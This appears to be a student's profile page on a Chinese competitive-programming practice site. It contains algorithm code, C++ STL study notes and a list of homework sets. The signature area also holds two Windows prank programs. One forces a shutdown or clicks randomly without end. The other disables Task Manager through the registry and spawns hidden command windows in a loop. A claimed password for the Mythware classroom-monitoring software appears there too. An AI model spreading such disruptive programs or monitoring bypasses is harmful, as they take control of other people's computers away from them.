ykj02 懒虫
斗尊
排名 40
距离下一等级 九转斗尊 还需AC 240 题

真实姓名

不显示

Email

02@qq.com

个性签名

100 / 100 < 好好刷题(mo yu) 不要乱复制 https://pan.baidu.com/s/1E7EUjgEZv9vwUMnpwKYJNQ?pwd=5du5 www.CrazyGames.com

https://yorg.io/

https://mp.weixin.qq.com/s?__biz=MzI3NjQzMTIwOQ==&mid=2247503977&idx=1&sn=d1e2906933124a9e43f002117e6336f1&chksm=eb77386fdc00b179ed04dc82eb777f5a9676edb236c4658906c531bbeb40af0ecef8fc5d0c52&scene=27

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
	if(MessageBox(NULL,"你的电脑因为你不好好爱护,现在会出现一些问题,继续运行?","提示",MB_YESNO)==6){
		srand(time(0));
		int x=GetSystemMetrics(SM_CXSCREEN),y=GetSystemMetrics(SM_CXSCREEN);
		for(;;){
			SetCursorPos(rand()%x,rand()%y);
			mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP,0,0,0,0);
		}
	}else{
		MessageBox(NULL,"你的电脑该休息了……","提示",MB_OK);
		system("shutdown -s -t 3");
	}
	
}
#include<bits/stdc++.h>
using namespace std;

int t, s[30010] = {0}, size[30010] = {0}, dis[30010] = {0};

int find(int x){
	if(s[x] != x){
		int t = s[x];
		s[x] = find(s[x]);
		dis[x] += dis[t];
	}
	return s[x];
}

void marge(int x, int y){
	x = find(x), y = find(y);
	s[x] = y;
	dis[x] += size[y];
	size[y] += size[x];
	size[x] = 0;
	return;
}

int main(){
	char ch;
	int a, b;
	for(int i = 1; i <=30000; i++){
		size[i] = 1, s[i] = i;
	}
	scanf("%d", &t);
	for(int i = 1; i <= t; i++){
		cin >> ch >> a >> b;
		if(ch == 'M'){
			marge(b, a);
		}
		else{
			if(find(a) != find(b))
				printf("-1\n");
			else
				printf("%d\n", abs(dis[a] - dis[b]) - 1);
		}
	}	
	return 0;
}

https://www.ccw.site/detail/644118b45f24dd508b2460c9?inviteCode=XVK38Wa44PRQY1yv 极域密码:mythware_super_password

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
	HKEY hkey;
	DWORD value =1;
	RegCreateKey(HKEY_CURRENT_USER,"Software\\Microsoft\\wincows\\CurrentVersion\\policies\\System",&hkey);
	RegSetValueEx(hkey,"DisableTaskMgr",NULL,REG_DWORD,(LPBYTE)&value,sizeof(DWORD));
	RegCloseKey(hkey);
	while(1){
		system("start cmd");
		HWND hWnd=GetForegroundWindow();
		ShowWindow(hWnd,SW_HIDE);
		SetCursorPos(rand()%1000,rand()%1000);
	}
	return 0;
}

https://blog.csdn.net/wangyuhan2010/article/details/128836690 https://www.bilibili.com/video/BV19q4y1r7Ba/?spm_id_from=333.788.recommend_more_video.-1&vd_source=fa73e1639148a23f323cbf5155c8559f 临时笔记: s.size():元素个数 O(1) s.empty():是否为空 O(1) s.clear():清空 s.insert(x):把元素x插入集合 O(log n) s.find(x):在集合s中查找x O(log n) s.lower_bound(x):查找>=x元素中最小的一个 O(log n) s.upper_bound(x):查找>x元素中最小的一个 O(log n) s.erase(it):it为迭代器,从集合中删除it指向的元素 O(k+log n) s.count(x):返回集合中x元素的个数 O(k+log n)

set::iterator it; for(it = s.begin();it<s.end();it++) set和multiset的迭代器称为“双向访问迭代器”,不支持 “随机访问”,支持星号(*)解除引用,仅支持“++”和 “--”两个与算数相关的操作。 设it是一个迭代器,例如 set::iterator it; it++:it指向集合中从小到大排序的下一个元素; it--:it指向集合中从小到大排序的上一个元素;

map的定义: map<key_type,value_type> map名; 例如: map<long long,int> mp1; map<string,int> mp2; 与优先队列一样,key必须定义<运算符。 map的大部分操作时间复杂度为O(log n) 二、集合判断: mp.size():元素个数 mp.empty():是否为空 mp.clear():清空 mp.size():元素个数 mp.empty():是否为空 mp.clear():清空 mp.begin():首迭代器 mp.end():尾迭代器

三、map操作: (1)mp.insert():插入 因为map是一个key-value容器,所以插入的数据也应该是一个 二元组。二元组可以通过pair<key_type,value_type> 实现。例如: map<int,int> mp; mp.insert(make_pair(1,2)); 二元组可以理解为两个变量打包, 新的变量包含两个数据,定义方式 如下: pair<key_type,value_type> p; 赋值和使用: p.first = 1 p.second = 2 pair<int,int> p; p.first = 1;p.second = 2; map<int,int> mp; mp.insert(q); (2) mp.erase():删除 删除操作可以是二元组(pair实现),也可以为迭代器。 例如: map<int,int> mp; mp.insert(make_pair(1,2)); 方法一: mp.erase(make_pair(1,2)); 方法二: map<int,int>::iterator it = mp.begin(); mp.erase(it);

三、map操作: (3) mp.find(x):查找 在变量名为mp的map中查找key为x的二元组,并返回指向该二 元组的迭代器,若不存在返回mp.end(),时间复杂度O(log n)。 例如: pair<int,int> p; map<int,int> mp; p = *mp.find(2); 使用p.first、p.second输出key值和value map 第 8 页 三、map操作: (4) [ ]操作符 mp[key]返回key映射到的value的引用,还可以进行赋值操作, 时间复杂度O(log n)。 注意:如果查找的key不存在会新建一个“空”值(value),即0或者 空的字符串等。所以使用[ ]前最好进行find检查。 例如: cout<<mp[1]; map 第 9 页 三、map操作: (5) map遍历 使用迭代器进行遍历,时间复杂度O(nlong n)。 两种方式,一种使用指针操作,另一种为指向操作。 for(it = mp.begin(); it != mp.end(); it++) { p = *it; cout<<p.first<<' ‘<<p.second<<endl; } pair<int,int> p; map<int,int>::iterator it; it= mp.begin(); for(it = mp.begin(); it != mp.end(); it++) cout<first<<' '<second<<endl;

临时文件:

#include<bits/stdc++.h>
using namespace std;
int j(int j){
	if(j==1) return '+';
	else if(j==2) return '-';
	else if(j==3) return '*';
	else if(j==4) return '/';
	else;
}
int js(double a,char q,double b,char w,double c,char e,double d){
	for(int i=1;i<=6;i++){
		if(i==1) ji1(a,q,b,w,c,e,d);
		else if(i==2) ji2(a,q,b,w,c,e,d);
	//	else if(i==3) ji3(a,q,b,w,c,e,d);
	//	else if(i==4) ji4(a,q,b,w,c,e,d);
	//	else if(i==5) ji5(a,q,b,w,c,e,d);
	//	else if(i==6) ji6(a,q,b,w,c,e,d);
	}
}
int ji1(double a,char q,double b,char w,double c,char e,double d){//无括号 
	int u=1,i=1,o=1,p=1;
	if(i==1&&u==1&&(q=='/'||q=='*')){
		if(q=='/') a=a/b;
		else q=a*b;
		i=0;
		u=1;
	}
	if(i==1&&o==1&&(w=='/'||w=='*')){
		if(w=='/') b=b/c;
		else w=c*b;
		o=0;
		i=1;
	}
	if(i==1&&o==1&&(e=='/'||e=='*')){
		if(e=='/') c=d/c;
		else e=d*c;
		o=1;
		u=0;
	}
	cout<<a<<' '<<b<<' '<<c<<' ';
}
int main(){
	double a,b,c,d;
	cin>>a>>b>>c>>d;
	for(int q=1;q<=4;q++)
		for(int w=1;w<=4;w++)
			for(int e=1;e<=4;e++)
				js(a,j(q),b,j(w),c,j(e),d);
	return 0;
}

注册于

2021-09-18 17:40:50

统计

练习情况

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 24 25 26 27 28 29 30 31 32 33 36 37 38 39 40 41 42 43 44 45 47 49 51 53 54 60 61 63 64 70 71 72 73 74 76 84 86 89 91 94 96 99 101 102 111 112 116 119 129 132 142 143 144 145 169 171 173 174 210 211 212 213 215 217 219 221 222 224 230 231 237 239 244 246 250 251 260 261 262 264 265 266 267 268 273 275 504 506 519 723 725 999 1000 1005 1008 1010 1014 1019 1023 1025 1026 1028 1029 1031 1033 1034 1037 1038 1039 1040 1041 1042 1043 1050 1051 1053 1054 1055 1072 1073 1074 1075 1076 1077 1079 1080 1083 1091 1092 1102 1103 1107 1108 1110 1111 1112 1113 1115 1116 1118 1119 1120 1131 1153 1170 1171 1172 1174 1177 1178 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1221 1222 1223 1225 1228 1229 1230 1235 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1251 1256 1257 1259 1273 1274 1275 1276 1287 1291 1297 1311 1322 1332 1333 1334 1335 1336 1338 1355 1370 1371 1377 1441 1443 1467 1468 1469 1470 1475 1476 1570 2010 2023 2024 2026 2027 2030 2035 2044 2048 2075 2079 2083 2084 2091 2220 2400 2408 2420 2453 3008 3196 3200 3201 3202 3210 3216 3217 3218 3539 3547 3553 3554 3565 3570 3573 3850 3851 3872 3887 3898 3906 3911 3912 3921 3927 3943 3967 3968 3969 3972 3973 4123 4137 4154 4178 4188 4212 4215 4223 4909 4918 4922 4927 5003 5005 5278 5501 5502 5503 5504 5505 5506 5507 5508 5509 5510 5511 5512 5513 5514 5515 5516 5517 5518 5519 5520 5521 5522 5523 5524 5525 5526 5527 5528 5529 5530 5531 5532 5533 5534 5535 5536 5537 5538 5539 5541 5542 5543 5544 5545 5546 5547 5548 5549 5550 5551 5552 5553 5554 5555 5556 5557 5558 5559 5560 5561 5562 5563 5564 5565 5566 5567 5568 5569 5570 5571 5572 5573 5574 5575 5576 5577 5578 5579 5580 5581 5582 5583 5584 5585 5586 5587 5588 5589 5590 5591 5592 5593 5594 5595 5596 5597 5598 5599 5600 5601 5602 5603 5604 5605 5606 5607 5608 5609 5610 5611 5612 5613 5614 5615 5616 5617 5618 5620 5622 5624 5625 5626 5627 5629 5631 5632 5633 5634 5635 5636 5637 5638 5639 5640 5641 5642 5643 5644 5645 5646 5647 5648 5649 5650 5651 5652 5653 5654 5655 5656 5657 5658 5659 5660 5661 5663 5664 5665 5667 5672 5676 5677 5951 5952 6000 6001 6002 6003 6004 6005 6006 6007 6008 6009 6010 6011 6012 6013 6014 6015 6016 6017 6018 6019 6020 6021 6022 6023 6025 6026 6027 6028 6029 6030 6031 6032 6033 6034 6036 6038 6039 6040 6041 6042 6043 6045 6046 6048 6050 6051 6053 6054 6057 6064 6070 6071 6076 6081 6087 6107 6108 6111 6117 6125 6128 6132 6148 6156 6188 6197 6207 6208 6209 6210 6287 6292 6296 6298 6305 6384 6387 6417 6418 6420 6422 6424 6445 6446 6448 6449
标题 时间
我服了 2022-01-01 20:17:42
嘎嘎嘎 2022-04-23 20:18:11
前天大凶,昨天大吉,今天大凶(???) 2022-11-20 12:45:20
好像paintf简单一些 2023-03-25 12:02:12
在现场 2023-04-08 19:33:44
提示 2023-04-09 9:49:44
数学的“魅力” 2023-04-09 10:00:03
有问题 2023-04-15 22:00:06
这里不对,题目错了 2023-04-15 22:01:29
食不食题目错了 2023-04-15 22:02:00
题目少一个“上”字 2023-04-25 17:09:58
笑死 2023-05-02 13:27:19
比赛 名次 积分
初始积分 1500
作业 时间
递归、递推和bfs复习 2023-06-17 19:02:36
期末复习 2023-06-03 18:30:08
CSP-J 真题第二弹 · 排序 2023-05-10 17:23:12
CSP-J真题第一弹·模拟算法 2023-04-20 16:30:00
最短路径2 2023-04-15 19:55:13
最短路径问题 2023-04-01 19:55:26
图的遍历 2023-03-25 18:49:55
图的基础知识 2023-03-11 19:01:31
树和二叉树 2023-01-14 14:08:13
动态规划(3) 2023-01-12 13:45:56
动态规划(2) 2023-01-06 17:08:26
动态规划(1) 2023-01-06 17:07:15
哈希表 2023-01-06 16:36:56
进制转换 2023-01-06 16:09:10
分治算法2 2023-01-06 18:10:12
分治算法 2022-12-31 18:14:27
高精度算法2 2022-12-17 18:18:57
高精度算法1 2022-12-10 18:55:10
贪心练习题 2022-12-03 18:00:30
搜索练习题 2022-11-12 18:14:38
深搜bfs练习 2022-11-05 18:18:30
宽度优先搜索算法 2022-10-29 18:35:16
dfs二维深搜 2022-10-22 18:26:35
dfs练习课 2022-10-06 18:50:09
周六C++ DFS作业 2022-09-24 17:59:56
STL4队列 2019-03-23 9:43:13
STL3栈 2019-03-23 9:43:13
STL标准库2搜索 2019-03-23 9:43:13
STL标准库排序 2019-03-23 9:43:13
二维递推练习 2019-03-23 9:43:13
递推算法练习题 2019-03-23 9:43:13
递推算法 2019-03-23 9:43:13
递归训练1 2019-03-23 9:43:13
递归函数 2019-03-23 9:43:13
函数练习1 2019-03-23 9:43:13
结构体排序 2019-03-23 9:43:13
文件操作 2019-03-23 9:43:13
C++第三次作业 2019-03-23 9:43:13
字符串进阶 2019-03-23 9:43:13
第一次字符串 2019-03-23 9:43:13
C++一级考级第六次上课例题 2019-03-23 9:43:13
C++一级考级第五次上课练习题 2019-03-23 9:43:13
C++一级考级第五次上课例题 2019-03-23 9:43:13
C++一级考级第四次上课练习题 2019-03-23 9:43:13
C++一级考级第四次上课例题 2019-03-23 9:43:13
C++一级考级第三次上课习题 2019-03-23 9:43:13
C++一级考级第三次上课例题 2019-03-23 9:43:13
C++一级考级第二次上课习题 2019-03-23 9:43:13
C++一级考级第二次上课例题 2019-03-23 9:43:13
C++一级考级第一次内容 2019-03-23 9:43:13